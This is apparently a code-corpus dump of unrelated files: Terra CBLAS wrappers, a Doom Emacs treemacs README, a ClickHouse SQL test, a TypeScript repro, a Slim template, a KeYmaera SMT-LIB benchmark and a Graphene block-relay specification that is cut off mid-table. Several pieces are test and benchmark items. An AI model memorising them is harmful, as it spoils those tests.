cblas.cblas_ssyrk(layout, Uplo, Trans, N, K, alpha, rawA.ptr, rawA.offset, beta, rawC.ptr, rawC.offset)
end
terra ssyr2k_cpu_terra(
layout : int,
Uplo : int,
Trans : int,
N : int,
K : int,
alpha : float,
rectA : rect2d,
rectB : rect2d,
beta : float,
rectC : rect2d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prB : clib.legion_physical_region_t,
fldB : clib.legion_field_id_t,
prC : clib.legion_physical_region_t,
fldC : clib.legion_field_id_t)
var rawA : float_ptr
[get_raw_ptr_factory(2, float, rectA, prA, fldA, rawA, float_ptr)]
var rawB : float_ptr
[get_raw_ptr_factory(2, float, rectB, prB, fldB, rawB, float_ptr)]
var rawC : float_ptr
[get_raw_ptr_factory(2, float, rectC, prC, fldC, rawC, float_ptr)]
cblas.cblas_ssyr2k(layout, Uplo, Trans, N, K, alpha, rawA.ptr, rawA.offset, rawB.ptr, rawB.offset, beta, rawC.ptr, rawC.offset)
end
terra strmm_cpu_terra(
layout : int,
Side : int,
Uplo : int,
TransA : int,
Diag : int,
M : int,
N : int,
alpha : float,
rectA : rect2d,
rectB : rect2d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prB : clib.legion_physical_region_t,
fldB : clib.legion_field_id_t)
var rawA : float_ptr
[get_raw_ptr_factory(2, float, rectA, prA, fldA, rawA, float_ptr)]
var rawB : float_ptr
[get_raw_ptr_factory(2, float, rectB, prB, fldB, rawB, float_ptr)]
cblas.cblas_strmm(layout, Side, Uplo, TransA, Diag, M, N, alpha, rawA.ptr, rawA.offset, rawB.ptr, rawB.offset)
end
terra strsm_cpu_terra(
layout : int,
Side : int,
Uplo : int,
TransA : int,
Diag : int,
M : int,
N : int,
alpha : float,
rectA : rect2d,
rectB : rect2d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prB : clib.legion_physical_region_t,
fldB : clib.legion_field_id_t)
var rawA : float_ptr
[get_raw_ptr_factory(2, float, rectA, prA, fldA, rawA, float_ptr)]
var rawB : float_ptr
[get_raw_ptr_factory(2, float, rectB, prB, fldB, rawB, float_ptr)]
cblas.cblas_strsm(layout, Side, Uplo, TransA, Diag, M, N, alpha, rawA.ptr, rawA.offset, rawB.ptr, rawB.offset)
end
terra dgemm_cpu_terra(
layout : int,
TransA : int,
TransB : int,
M : int,
N : int,
K : int,
alpha : double,
rectA : rect2d,
rectB : rect2d,
beta : double,
rectC : rect2d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prB : clib.legion_physical_region_t,
fldB : clib.legion_field_id_t,
prC : clib.legion_physical_region_t,
fldC : clib.legion_field_id_t)
var rawA : double_ptr
[get_raw_ptr_factory(2, double, rectA, prA, fldA, rawA, double_ptr)]
var rawB : double_ptr
[get_raw_ptr_factory(2, double, rectB, prB, fldB, rawB, double_ptr)]
var rawC : double_ptr
[get_raw_ptr_factory(2, double, rectC, prC, fldC, rawC, double_ptr)]
cblas.cblas_dgemm(layout, TransA, TransB, M, N, K, alpha, rawA.ptr, rawA.offset, rawB.ptr, rawB.offset, beta, rawC.ptr, rawC.offset)
end
terra dsymm_cpu_terra(
layout : int,
Side : int,
Uplo : int,
M : int,
N : int,
alpha : double,
rectA : rect2d,
rectB : rect2d,
beta : double,
rectC : rect2d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prB : clib.legion_physical_region_t,
fldB : clib.legion_field_id_t,
prC : clib.legion_physical_region_t,
fldC : clib.legion_field_id_t)
var rawA : double_ptr
[get_raw_ptr_factory(2, double, rectA, prA, fldA, rawA, double_ptr)]
var rawB : double_ptr
[get_raw_ptr_factory(2, double, rectB, prB, fldB, rawB, double_ptr)]
var rawC : double_ptr
[get_raw_ptr_factory(2, double, rectC, prC, fldC, rawC, double_ptr)]
cblas.cblas_dsymm(layout, Side, Uplo, M, N, alpha, rawA.ptr, rawA.offset, rawB.ptr, rawB.offset, beta, rawC.ptr, rawC.offset)
end
terra dsyrk_cpu_terra(
layout : int,
Uplo : int,
Trans : int,
N : int,
K : int,
alpha : double,
rectA : rect2d,
beta : double,
rectC : rect2d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prC : clib.legion_physical_region_t,
fldC : clib.legion_field_id_t)
var rawA : double_ptr
[get_raw_ptr_factory(2, double, rectA, prA, fldA, rawA, double_ptr)]
var rawC : double_ptr
[get_raw_ptr_factory(2, double, rectC, prC, fldC, rawC, double_ptr)]
cblas.cblas_dsyrk(layout, Uplo, Trans, N, K, alpha, rawA.ptr, rawA.offset, beta, rawC.ptr, rawC.offset)
end
terra dsyr2k_cpu_terra(
layout : int,
Uplo : int,
Trans : int,
N : int,
K : int,
alpha : double,
rectA : rect2d,
rectB : rect2d,
beta : double,
rectC : rect2d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prB : clib.legion_physical_region_t,
fldB : clib.legion_field_id_t,
prC : clib.legion_physical_region_t,
fldC : clib.legion_field_id_t)
var rawA : double_ptr
[get_raw_ptr_factory(2, double, rectA, prA, fldA, rawA, double_ptr)]
var rawB : double_ptr
[get_raw_ptr_factory(2, double, rectB, prB, fldB, rawB, double_ptr)]
var rawC : double_ptr
[get_raw_ptr_factory(2, double, rectC, prC, fldC, rawC, double_ptr)]
cblas.cblas_dsyr2k(layout, Uplo, Trans, N, K, alpha, rawA.ptr, rawA.offset, rawB.ptr, rawB.offset, beta, rawC.ptr, rawC.offset)
end
terra dtrmm_cpu_terra(
layout : int,
Side : int,
Uplo : int,
TransA : int,
Diag : int,
M : int,
N : int,
alpha : double,
rectA : rect2d,
rectB : rect2d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prB : clib.legion_physical_region_t,
fldB : clib.legion_field_id_t)
var rawA : double_ptr
[get_raw_ptr_factory(2, double, rectA, prA, fldA, rawA, double_ptr)]
var rawB : double_ptr
[get_raw_ptr_factory(2, double, rectB, prB, fldB, rawB, double_ptr)]
cblas.cblas_dtrmm(layout, Side, Uplo, TransA, Diag, M, N, alpha, rawA.ptr, rawA.offset, rawB.ptr, rawB.offset)
end
terra dtrsm_cpu_terra(
layout : int,
Side : int,
Uplo : int,
TransA : int,
Diag : int,
M : int,
N : int,
alpha : double,
rectA : rect2d,
rectB : rect2d,
prA : clib.legion_physical_region_t,
fldA : clib.legion_field_id_t,
prB : clib.legion_physical_region_t,
fldB : clib.legion_field_id_t)
var rawA : double_ptr
[get_raw_ptr_factory(2, double, rectA, prA, fldA, rawA, double_ptr)]
var rawB : double_ptr
[get_raw_ptr_factory(2, double, rectB, prB, fldB, rawB, double_ptr)]
cblas.cblas_dtrsm(layout, Side, Uplo, TransA, Diag, M, N, alpha, rawA.ptr, rawA.offset, rawB.ptr, rawB.offset)
end
| Rouge | 4 | syamajala/blas-rg | cblas.rg | [
"Apache-2.0"
] |
#+TITLE: ui/treemacs
#+DATE: April 5, 2021
#+SINCE: v2.0.4
#+STARTUP: inlineimages nofold
* Table of Contents :TOC_3:noexport:
- [[#description][Description]]
- [[#maintainers][Maintainers]]
- [[#module-flags][Module Flags]]
- [[#plugins][Plugins]]
- [[#prerequisites][Prerequisites]]
- [[#features][Features]]
- [[#configuration][Configuration]]
- [[#troubleshooting][Troubleshooting]]
* Description
[[https://github.com/Alexander-Miller/treemacs][Treemacs]] is a file and project explorer similar to NeoTree or vim’s NerdTree, but largely inspired by the Project Explorer in Eclipse. It shows the file system outlines of your projects in a simple tree layout allowing quick navigation and exploration, while also possessing basic file management utilities.
It includes:
+ Integration with Git (when =:tools magit= is enabled)
+ Integration with Evil (when =:editor evil +everywhere= is enabled)
+ Workspace awareness (when =:ui workspaces= is enabled)
** Maintainers
+ This module has no dedicated maintainers.
** Module Flags
+ =+lsp= Enable ~lsp-treemacs~ integration and add shortcuts for common commands.
** Plugins
+ [[https://github.com/Alexander-Miller/treemacs/][treemacs]]
+ [[https://github.com/Alexander-Miller/treemacs/#treemacs-projectile][treemacs-projectile]]
+ =:editor evil +everywhere=
+ [[https://github.com/Alexander-Miller/treemacs/#treemacs-evil][treemacs-evil]]
+ =:tools magit=
+ [[https://github.com/Alexander-Miller/treemacs/#treemacs-magit][treemacs-magit]]
+ =:ui workspaces=
+ [[https://github.com/Alexander-Miller/treemacs/#treemacs-persptreemacs-perspective][treemacs-persp]]
+ =+lsp=
+ [[https://github.com/emacs-lsp/lsp-treemacs][lsp-treemacs]]
* Prerequisites
If ~+treemacs-git-mode~ is set to ~extended~ or ~deferred~ you will need to have
~python3~ installed.
* Features
The project bar can be opened using =SPC o p=.
| Keybind | Description |
|---------+-----------------------------------------------------------------|
| =o s= | Open a horizontal dired buffer on the currently highlighted node |
| =o v= | Open a vertical dired buffer on the currently highlighted node |
* Configuration
The variable ~+treemacs-git-mode~ sets the type of git integration that treemacs
has.
There are 3 possible values:
1. simple, which highlights only files based on their git status, and is
slightly faster,
2. extended, which highlights both files and directories, but requires
python,
3. deferred, same as extended, but highlights asynchronously.
the default being simple
This must be set before treemacs has loaded.
* TODO Troubleshooting
# Common issues and their solution, or places to look for help.
| Org | 3 | leezu/doom-emacs | modules/ui/treemacs/README.org | [
"MIT"
] |
CREATE TABLE dict_nested_map_test_table
(
test_id UInt32,
type String,
test_config Array(Map(String, Decimal(28,12))),
ncp UInt8
)
ENGINE=MergeTree()
ORDER BY test_id;
INSERT INTO dict_nested_map_test_table VALUES (3, 't', [{'l': 0.0, 'h': 10000.0, 't': 0.1}, {'l': 10001.0, 'h': 100000000000000.0, 't': 0.2}], 0);
CREATE DICTIONARY dict_nested_map_dictionary
(
test_id UInt32,
type String,
test_config Array(Map(String, Decimal(28,12))),
ncp UInt8
)
PRIMARY KEY test_id
SOURCE(CLICKHOUSE(TABLE 'dict_nested_map_test_table'))
LAYOUT(HASHED(PREALLOCATE 1))
LIFETIME(MIN 1 MAX 1000000);
SELECT dictGet('dict_nested_map_dictionary', 'test_config', toUInt64(3));
| SQL | 4 | pdv-ru/ClickHouse | tests/queries/0_stateless/02025_dictionary_array_nested_map.sql | [
"Apache-2.0"
] |
// Repro from #25291
type PromisedTuple<L extends any[], U = (...args: L) => void> =
U extends (h: infer H, ...args: infer R) => [Promise<H>, ...PromisedTuple<R>] ? [] : []
type Promised = PromisedTuple<[1, 2, 3]>
| TypeScript | 3 | nilamjadhav/TypeScript | tests/cases/compiler/recursiveResolveTypeMembers.ts | [
"Apache-2.0"
] |
.row
.col-xs-12
= render 'form', document: @document
| Slim | 2 | childselfy/crypto-exchange | app/views/admin/documents/new.html.slim | [
"MIT"
] |
(set-info :smt-lib-version 2.6)
(set-logic QF_LRA)
(set-info :source |
These benchmarks used in the paper:
Dejan Jovanovic and Leonardo de Moura. Solving Non-Linear Arithmetic.
In IJCAR 2012, published as LNCS volume 7364, pp. 339--354.
The keymaera family contains VCs from Keymaera verification, see:
A. Platzer, J.-D. Quesel, and P. Rummer. Real world verification.
In CADE 2009, pages 485-501. Springer, 2009.
Submitted by Dejan Jovanovic for SMT-LIB.
KeYmaera example: simple_example_2, node 2074 For more info see: No further information available.
|)
(set-info :category "industrial")
(set-info :status unsat)
(declare-fun e () Real)
(declare-fun buscore2dollarskuscore0 () Real)
(declare-fun auscore2dollarskuscore0 () Real)
(declare-fun cuscore2dollarskuscore0 () Real)
(assert (let ((?v_0 (* 5 auscore2dollarskuscore0)) (?v_1 (* 3 buscore2dollarskuscore0))) (not (=> (and (= e 0) (= (+ (+ ?v_0 ?v_1) cuscore2dollarskuscore0) 10)) (= (+ (+ (- ?v_0 5) (+ ?v_1 6)) (- cuscore2dollarskuscore0 1)) 10)))))
(check-sat)
(exit)
| SMT | 3 | livinlife6751/infer | sledge/test/smt/QF_LRA/keymaera/simple_example_2-node2074.smt2 | [
"MIT"
] |
-------
Draft version 2.2
'''Comments welcome.'''
-------
<pre>
BUIP093: Graphene Relay
Proposers: George Bissias <gbiss@cs.umass.edu>, Brian Levine <levine@cs.umass.edu>
Created: 2019-12-20
Status: Accepted, implemented
</pre>
==Abstract==
Graphene is a protocol for efficiently relaying blocks across the peer-to-peer network.
==Motivation==
Relaying blocks across the peer-to-peer (P2P) network using the least amount of bandwidth and latency has a number of advantages for the operation of any cryptocurrency. Blocks that can be relayed using less bandwidth propagate more quickly, which can increase synchronization among peers and reduce forks in the chain. Using less bandwidth to relay a block also allows greater participation by peers who are behind limited-bandwidth links and routes. Finally, an efficient mechanism for relaying blocks can allow maximum block size to increase, sustaining a larger number of transactions per second overall.
This specification is a stand-alone description of Graphene, but is based heavily on previous work by Ozisik, Andresen, Bissias, Houmansadr, Levine, Tapp, and Katkuri [[graphene-specification-v2.2.mediawiki#ref1|<nowiki>[1]</nowiki>]][[graphene-specification-v2.2.mediawiki#ref10|<nowiki>[10]</nowiki>]].
====Intuition====
The intuition behind Graphene's use of Bloom filters and IBLTs is as follows, presented as optional reading.
Let us consider several options for relaying a block containing ''n'' transactions. The first option is to simply list each 32-byte transaction ID. If our block contains ''n=2000'' transactions, then the total cost is 64,000 bytes. Next, we realize that the chances of an accidental collision among 32-bytes IDs is almost nil, and so our second option is to limit each transaction ID to its first 8 bytes. If our block contains ''n=2000'' transactions, then the total cost is already down to 16,000 bytes.
Our third option is to use Bloom filters, which are an incredibly useful probabilistic data structure for determining whether ''items'' are members of a given ''set''. In this case, our set is all transactions in the sender's block (actually, the set of transaction IDs); and the items are the transactions IDs in the receiver's mempool (recall from above that the mempool is assumed to include transactions from the orphan pool as well). A Bloom filter has two special characteristics. First, it has no ''false negatives''. That is, if a Bloom filter tells us that a transaction ID ''is not'' in the set, then it ''definitely is not'' in the set. Second, a Bloom filters does have ''false positives''. That is, if a Bloom filter tells us that a transaction ID ''is'' in the set, then it ''might not be'' in the set. We can set the Bloom filter's false positive rate (FPR) to whatever we like. There is an important trade-off though: if the FPR is low, and the Bloom filter is therefore accurate, then it will also be larger in terms of bytes. If we don't mind some wrong answers about what transaction IDs are in the block, then the Bloom filter will be smaller.
How much space is required to relay blocks using Bloom filters? For example, we could set the FPR of the Bloom Filter to ''f=1/m''. In that case, when the receiver checks each of the ''m'' transaction IDs in her mempoool, we can expect that the Bloom filter will wrongly state that ''f*m=(1/m)*m=1'' transaction is in the block on average. To make matters worse, we won't know which transaction is the wrong one; as a result of the extra transaction, the Merkle root won't validate. We can try to fix this problem by lowering the FPR of the filter. For example, if we set the FPR to ''f=1/(144m)'', then we can expect that the filter will permit a wrong answer only about once every 144 blocks relayed (i.e., only about once a day). But keep in mind, this accuracy will cost us in bytes. The size of a Bloom filter with ''n'' items inserted and a false positive rate of ''f=1/144m'' [https://en.wikipedia.org/wiki/Bloom_filter#Optimal_number_of_hash_functions is well known to be]
''-n*ln(f)/ln<sup>2</sup>(2) = n*ln(1/(144m))/(8ln<sup>2</sup>(2))'' bytes. For example, for a block with ''n=2000'' transactions and a mempool of ''m=6000'' transactions total, the Bloom filter will be about 7,113 bytes. That's an improvement over our first and second options, but we can do better.
A fourth option is presented by Invertible Bloom Lookup Tables (IBLTs) [[graphene-specification-v2.2.mediawiki#ref2|<nowiki>[2]</nowiki>]], another useful probabilistic data structure. They are designed to allow us to discover the [https://en.wikipedia.org/wiki/Symmetric_difference symmetric difference] between two sets of items. For example, we can create an IBLT of all transaction IDs that are in the sender's block, and then create another IBLT of the transactions in the receiver's mempool. A ''subtraction'' [[graphene-specification-v2.2.mediawiki#ref3|<nowiki>[3]</nowiki>]] of the first IBLT from the second will tell us exactly which transactions in the mempool are not in the block. Given this functionality, one can use IBLTs alone [[graphene-specification-v2.2.mediawiki#ref7|<nowiki>[7]</nowiki>]] to relay the block from sender to receiver, but unfortunately it is not an efficient approach. The size in bytes of an IBLT increases linearly with the size of the symmetric difference recovered from it. An IBLT uses about 17 bytes per transaction ID that is part of the symmetric difference, and the overhead of an IBLT (in bytes) is about 140% (this value can vary significantly for small symmetric differences, and can be set optimally using techniques described in the Recovery section below). So if the mempool is 2000 transactions larger than the block (i.e., the symmetric difference is 2000), then the sender's IBLT will be about ''(1.4*2000)*17=47,600'' bytes. Not our best option so far.
Our fifth and best solution is a combination of both data structures. First, we pass all transactions in the receiver's mempool through a Bloom filter of the sender's block; however, we allow a good number of false positives, which results in a small Bloom filter. We clean up any mistakes made by the Bloom filter with an IBLT also sent by the sender. The symmetric difference is now quite small: it's equal to number of false positives that were produced by our Bloom filter. There is a trade-off: we can make the Bloom filter larger (more accurate), which results in a smaller IBLT; or we can make the IBLT larger (able to correct more mistakes), which results in a smaller Bloom filter. Graphene picks the parameters of both data structures together so that the summed size is optimally small (using techniques described in the Recovery section below). For example, for ''n=2000'' and ''m=6000'', a sender computes that an IBLT that can recover ''a=27'' items and a Bloom filter of ''n'' items with a FPR of ''f=0.00675'' is minimal. In our test implementation (again assuming the IBLT overhead of 140%) this results in a 3,244-byte total based on a 643-byte IBLT and a 2601-byte Bloom filter, which is about 1/5 the size of sending 8-bytes per transaction. If a canonical transaction order is not defined, an expression of the transaction ordering must also be sent, which increases the total by 2,750 bytes to 5,994 bytes (which is about 38% of the cost of sending 8-bytes per transaction). The IBLT will fail to decode about once every 240 blocks.
Graphene maintains this size advantage as block size grows. For example, for a block of ''n=10,000'' transactions, listing 8-bytes of each transaction ID would be 80,000 bytes. With a mempool of ''m=30,000'' transactions, Graphene's cost is 14,482 bytes (or 31,091 bytes when including ordering information).
==Specification for Version 2.2==
The second version of Graphene is implemented in two phases: 2.1 and 2.2. Graphene 2.2 uses the same messages as 1.0 and 2.1, but some of the data structures have changed. This section provides a comprehensive description of the data structures used in Graphene 2.2. The description corresponds to BU client Graphene version 6.
===Intended Protocol Flow===
In the Bitcoin Cash Network, blocks are relayed from a peer possessing the block (the sender) to a peer requesting it (the receiver). The core idea behind Graphene is for the sender to avoid sending information that is already held by the receiver. Blocks are comprised of a header that is previously unknown to the receiver, and a collection of transactions that are likely to be already within the receiver's mempool. Therefore, to save bandwidth, Graphene attempts to avoid resending the actual transactions and transaction IDs. Instead, Graphene makes use of two ''set reconciliation'' data structures for expressing the list of transactions: [https://en.wikipedia.org/wiki/Bloom_filter Bloom filters] [[graphene-specification-v2.2.mediawiki#ref4|<nowiki>[4]</nowiki>]] and Invertible Bloom Lookup Tables (IBLTs) [[graphene-specification-v2.2.mediawiki#ref2|<nowiki>[2</nowiki>]][[graphene-specification-v2.2.mediawiki#ref3|<nowiki>,3]</nowiki>]]. The combination of the two data structures is more efficient than using either alone to express the transaction list, and it is typically more efficient than constructing a list from shortened transaction IDs.
====Protocol 1====
<A id='fig1'>
{| class="wikitable" style="float:left"
|[[File:media/graphene_protocol1.png]]
| A diagram of Graphene's messaging between the sender and receiver during Protocol 1.
|}</a>
An overview of Graphene is presented in [[graphene-specification-v2.2.mediawiki#fig1|Figure 1]], which depicts the following steps between two peers that have confirmed that they are running the same version of the protocol.
# A sender informs the receiver that a new block containing ''n'' transactions is available using an '''inv''' message.
# If the block is not already known to the receiver, she responds with a '''get_grblk''' message that includes a count of transactions in her mempool, ''m''. (Note: the count should also include the number of transactions in the receiver's orphan pool, but for brevity we will henceforth assume that the mempool includes transactions in the orphan pool as well).
# The sender creates a Bloom filter ''S'', having false positive rate ''fS'' (to be specified later), which contains all transaction IDs in the block along with an IBLT ''I'', of size ''a'' (where ''a'' minimizes the combined size of ''S'' and ''I'', defined below), containing just the "cheap hash" (first 8 bytes of the hash interpreted as an unsigned little endian 64 bit integer) of each transaction ID. Additionally, any full transactions likely missing from the receiver (such as the coinbase for the block) are collected into additional transactions list ''V''. If there does not exist a protocol-defined canonical transaction ordering, then the sender also creates a list of transaction ranks ''K'', listed lexicographically by ID, which indicates (with ''log(n)'' bits for each ID) the intended order for each transaction ID. The sender assembles ''S'', ''I'', ''V'', ''K'', and the block header into a '''grblk''' message, which he sends to the receiver.
# The receiver begins by aggregating all locally known transaction IDs into set ''T'', which is comprised of those found in ''V'' (see above) as well as her mempool (plus orphan pool). She then uses Bloom filter ''S'' to filter transaction IDs from ''T'', the result is '''candidate set''' ''Z''. All transactions in ''Z'' are added to her own IBLT, '' I' ''. She then performs an IBLT ''subtraction operation'' [[graphene-specification-v2.2.mediawiki#ref3|<nowiki>[3]</nowiki>]] on ''I'' and '' I' '' to decode the set of transaction IDs in the symmetric difference between the two sets. From this subtraction operation, she may learn either the set of false positive IDs ''Y'' in ''Z'', the set of true positive IDs ''X'' in ''Z'', and the set of IDs ''M'' that are in the block but missing from ''T''. The subtraction operation either succeeds or fails; recovery is possible depending on the type of failure.
## Success: The IBLT subtraction succeeds and the set ''M'' is empty. All transactions in the block are possessed by the receiver.
## Success: The IBLT subtraction succeeds and the set ''M'' is non-empty. Missing transactions must be requested. Here the receiver requests the missing transactions using a '''get_grblktx''' message, to which the receiver responds with a '''grblktx''' message containing the full transactions indicated by ''M''.
## IBLT Decode failure: The IBLT subtraction operation fails entirely. In this case the receiver cannot be certain of the complete set of transaction IDs in the block. This failure occurs when the receiver does not possess many transactions in the block, but can also happen infrequently (e.g., 1/240 blocks) due to the probabilistic nature of IBLTs. In response, the receiver jumps to Protocol 2 to initiate failure recovery.
## IBLT Checksum failure, detected when the sender returns too few transactions with the '''grblktx''' message: IBLT subtraction succeeds, but returns an erroneous transaction ID due to faulty IBLT checksum. In this scenario, the receiver will issue a '''get_grblktx''' message for the erroneous transaction ID, for which the sender will not return a transaction. When the receiver detects that not all transactions have been sent, she will assume a checksum error has occurred and request a fail-over block (e.g., a full or XThin block). Although not precisely quantified, the probability of checksum failure is [https://github.com/bissias/graphene-experiments/blob/master/jupyter/min_checksum_IBLT.ipynb thought to be] quite low.
# If IBLT subtraction succeeds (and missing transactions are received), and if no checksum error occurs, then the receiver will be left with an unordered set of transactions that are in the block. (Note that at this stage the receiver is certain to have the actual transactions, not just their IDs).
# The receiver places the transactions in a Merkle tree, which is validated against the root stated in the block header. The order of transactions in the Merkle tree is either determined by the network's protocol-defined canonical ordering or by the specific rank information ''K'' included in '''grblk'''.
==== Protocol 2 (failure recovery) ====
<A id='fig1'>
{| class="wikitable" style="float:left"
|[[File:media/graphene_protocol2.png]]
| Protocol 2 messaging between the sender and receiver.
|}</a>
We begin with the following additional definitions. Let ''z = |Z|'', ''x = |X|'', and ''y = |Y|'' be sizes of the candidate, false positive and true positives sets, respectively. A property ''A'' is said to be held in data structure ''D'' with ''β''-assurance whenever it is possible to tune ''D'' so that ''A'' occurs in ''D'' with probability at least ''β''. The protocol unfolds as follows.
# Because the values of ''x'' and ''y'' are obfuscated within the sum, the receiver calculates ''x*'' such that ''x* ≤ x'' with ''β''-assurance. She also calculates ''y*'' such that ''y* ≥ y'' with ''β''-assurance. We discuss the derivation of ''x*'' and ''y*'' in the Appendix.
# The receiver creates Bloom filter ''R'' and adds all transaction IDs in ''Z'' to ''R''. The FPR of the filter is ''fR = b/(n−x*)'', where ''b'' minimizes the size of ''R'' and IBLT ''J'' (defined below). She sends ''R'', ''z'' to the sender using message '''get_grrec'''.
# The sender passes all transaction IDs in the block through ''R''. Using message '''grrec''', he sends all transactions that are not in ''R'' directly to the receiver. In the same message, he also creates and sends an IBLT ''J'' of all transactions in the block such that ''b + y*'' items can be recovered from it. This size accounts for ''b'', the number of transactions that falsely appear to be in ''R'', and ''y*'', the number of transactions that falsely appear to be in ''S''.
# Upon receiving this message, the receiver creates IBLT '' J' '' from the transaction IDs in ''Z'' and the new transaction IDs sent by the sender in the previous step. She decodes the subtraction of the two IBLTs ''J'' and '' J' ''. From the result, she adjusts set ''Z'', validates the Merkle root, and decodes the block.
# If she finds that she is missing any transaction IDs, she follows the procedure in step 4 of Protocol 1 to request them from the sender.
# If the second IBLT difference (''J - J' '') fails to decode, then the receiver requests a fail-over block such as XThin or a full block.
==Protocol Versioning==
The Bitcoin P2P protocol has a message versioning facility and Graphene version should be included in that facility.
===Data structures===
The following data structures appear in the network protocol of Graphene 2.2: '''CMemPoolInfo''', '''CGrapheneBlock''', '''CIblt''', '''HashTableEntry''', '''CGrapheneBlockTx''', '''CRequestGrapheneBlockTx''', '''CGrapheneReceiverRecover''', '''CRequestGrapheneReceiverRecover''', '''CVariableFastFilter''', and '''CBloomFilter'''.
All data structures use the standard Bitcoin serialization format: they use little-endian order for integers; vector encoding is Bitcoin standard (compact int length, vector values); and other specific use of the Bitcoin standard "compact int" encoding is noted in the tables below. For brevity, encoding that is identical to the same data structure in existing messages is omitted from our descriptions. Except for '''CGrapheneBlock''', the data structures are comprised of relatively simple C++ constructs, which we detail below. '''CGrapheneBlock''' contains '''CGrapheneSet''', which itself contains Bloom filter and IBLT data structures, denoted '''CVariableFastFilter''' (or optionally '''CBloomFilter''' instead) and '''CIblt''', respectively.
We defer description of these data structures to separate specification documents.
====CGrapheneBlock====
''CGrapheneBlock'' is the fundamental data structure for Graphene block propagation. Assuming no unrecoverable failures arise, and combined with any missing transactions recovered from the sender, this data structure contains all information necessary to reconstruct the full block. It is sent as part of the '''grblk''' message.
{|
|'''Field Name'''||'''Type'''||'''Size'''||'''Purpose'''
|-
|sipHashNonce||uint64_t||8 bytes||Entropy for SipHash
|-
|shorttxidk0||uint64_t||8 bytes||Left half of SipHash key
|-
|shorttxidk1||uint64_t||8 bytes||Right half of SipHash key
|-
|header||Block header||80 bytes||The header of the block being provided, encoded as per the header portion of the BLOCK message (NOT including the nTx field of the HEADERS message)
|-
|vAdditionalTxs||<nowiki>vector<CTransaction></nowiki>||variable||Transactions that the receiver is probably missing. Standard transaction Bitcoin serialization is used.
|-
|nBlockTxs||uint64_t||8 bytes||Number of Transactions in the block
|-
|grapheneSet||CGrapheneSet||variable||Encapsulates Graphene set reconciliation logic
|}
The vAdditionalTxs field should include at least the coinbase transaction, since it is not possible for it to be in the receiver's mempool. The values ''shorttxidk0'' and ''shorttxidk1'' are derived from the first and last 64 bits in the following SHA256 hash ''h''. The sender generates the random 64 bit ''sipHashNonce'', whose bits are appended to the end of the block header bits. The SHA256 hash of the entire collection of bits is then hashed to form ''h''.
====CGrapheneSet====
''CGrapheneSet'' contains all information critical to the Graphene set reconciliation process, absent any block-specific details. It is the only non-standard data structure in ''CGrapheneBlock''.
{|
|'''Field Name'''||'''Type'''||'''Size'''||'''Purpose'''
|-
|ordered||uint8_t||1 byte||1 if order is important in the set and 0 otherwise; other values are reserved for future use
|-
|nReceiverUniverseItems||uint64_t||8 bytes||The number of transactions in the receiver's mempool
|-
|shorttxidk0||uint64_t||8 bytes||Left half of SipHash key
|-
|shorttxidk1||uint64_t||8 bytes||Right half of SipHash key
|-
|ibltSalt||uint32_t||4 bytes||Entropy for IBLT hash functions
|-
|encodedRank||<nowiki>vector<unsigned char></nowiki>||ordered * ceil(n log(n))/8 bytes||Order information for items in set
|-
|setFilter||CBloomFilter||variable||Bloom filter containing items in set
|-
|pFastFilter||CVariableFastFilter||variable||Fast Bloom filter containing items in set
|-
|setIblt||CIblt||variable||IBLT containing items in set
|}
Note that only one of ''setFilter'' and ''pFastFilter'' is used, the former when ''computeOptimized'' is set to 0 and the latter otherwise. Whichever is not used is assumed not to have been allocated any memory. Accordingly, implementations of Graphene version 2.2 need only include an implementation of either ''setFilter'' or ''pFastFilter''.
If the ''ordered'' field has value 1, then it is assumed that ordering information cannot be automatically inferred (e.g. there exists no canonical transaction ordering). In this case, the ''encodedRank'' field must encode the order of transactions. The order should be encoded by the sender as follows. First, vector ''L'' is formed by listing transactions in ascending lexicographical order according to their 32-byte ID. Second, each ID in ''L'' is visited in order (lowest index to highest) and its desired rank (distance from the first position in the list) is added to vector ''K''. Third, we populate boolean vector ''B'' by visiting each rank ''k'' in the order it appears in ''K'', interpreting ''k'' as a binary number with ceil(log(n)) bits, and adding each bit to ''B'' (lowest order bits first). Finally, the contents of field ''encodedRank'' are formed by interpreting consecutive groups of 8 bits from ''B'' as little-endian integers and packing them into a vector of ceil(n * ceil(log(n)) / 8) unsigned 8-bit integers (thus, the first bit from ''B'' will occupy the lowest order bit of the first integer added to ''encodedRank'').
====CBloomFilter====
''CBloomFilter'' is Bitcoin's standard Bloom filter implementation with one adjustment, described below. It is used as part of the set reconciliation process in ''CGrapheneSet'' to filter out transactions from ''T'' that do not belong to the block.
{|
|'''Field Name'''||'''Type'''||'''Size'''||'''Purpose'''
|-
|vData||<nowiki>vector<unsigned char></nowiki>||variable||Bit array for filter
|-
|isFull||bool||1 byte||True if every bit in vData is set to 1
|-
|isEmpty||bool||1 byte||True if every bit in vData is set to 0
|-
|nHashFuncs||unsigned int||2, 4 bytes||Number of hash functions used in filter
|-
|nTweak||unsigned int||2, 4, bytes||Additive offset for hash function inputs
|-
|nFlags||unsigned char||1 byte||Defines behavior for transaction insertion
|}
The standard Bloom filter implementation does not always honor the false positive rate (FPR) requested during initialization. This behavior is problematic for Graphene because the FPR determines the number of erroneous transactions removed from IBLT ''I'', which affects the decode rate for ''I''. For this reason, it is required that ''nDesiredSize'' and ''nHashFuncs'' be defined slightly differently than in the standard ''CBloomFilter'' implementation, as follows.
<code>
nDesiredSize = (unsigned int)(ceil(-1 / LN2SQUARED * nElements * log(nFPRate) / 8));
</code>
<br />
<code>
nHashFuncs = (unsigned int)max(MIN_N_HASH_FUNC, int(vData.size() * 8 / nElements * LN2));
</code>
====CVariableFastFilter====
''CVariableFastFilter'' is a new data structure that uses the entropy in a transaction's hash value to determine what bits to set in the Bloom filter. It is based on the existing implementation of [https://github.com/BitcoinUnlimited/BitcoinUnlimited/blob/release/src/fastfilter.h CFastFilter]. It is used as part of the set reconciliation process in ''CGrapheneSet'' to filter out transactions from ''T'' that do not belong to the block. Details can be found in the [https://github.com/BitcoinUnlimited/BitcoinUnlimited/tree/release/doc/variable-fast-filter.md release documentation].
{|
|'''Field Name'''||'''Type'''||'''Size'''||'''Purpose'''
|-
